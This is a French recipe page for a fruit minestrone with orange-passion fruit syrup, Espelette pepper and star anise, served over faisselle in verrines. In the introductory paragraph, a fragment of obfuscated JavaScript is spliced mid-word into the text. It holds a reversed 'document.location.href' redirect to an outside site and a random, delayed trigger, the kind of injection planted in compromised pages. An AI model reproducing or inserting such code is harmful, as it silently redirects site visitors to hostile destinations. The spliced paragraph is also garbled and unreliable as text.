Minestrone de fruits au piment d’Espelette

2021-05-03

Évidez le fruit de la passion. Coupez en deux l’orange et pressez-la pour obtenir le jus. Dans une casserole mélangez le jus d’orange avec la chair du fruit de la passion, ajoutez les pincées d’Espelette, l’étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toile de badiane.

Ingrédients

  • Pour 6 personnes
  • 1/2 ananas
  • 2 oranges
  • 1 fruit de la passion
  • 4 abricots
  • 2 kiwis
  • 1 banane
  • 6 petites faisselles
  • 3 piments d’Espelette
  • 1 étoile de badiane

Préparation de la recette

Etape 1

Évidez le fruit de la passion.

Etape 2

Coupez en deux l'orange et pressez-la pour obtenir le jus.

Etape 3

Dans une casserole mélangez le jus d'orange avec la chair du fruit de la passion, ajoutez les pincées d'Espelette, l'étoile de badiane.

Etape 4

Faites chauffer pendant quelques minutes sans faire bouillir pendant 10 minutes.

Etape 5

Filtrez le sirop.

Etape 6

Pelez le 1/2 ananas et le détailler en petits dés.

Etape 7

Rincez, séchez et coupez en deux les abricots.

Etape 8

Ôtez le noyau.

Etape 9

Pelez les kiwis ainsi que les bananes.

Etape 10

Les détailler en petits dés.

Etape 11

Égouttez les faisselles.

Etape 12

Répartissez les dans des verrines.

Etape 13

Recouvrir de fruits.

Etape 14

Versez le jus d'orange.

Etape 15

Servez frais

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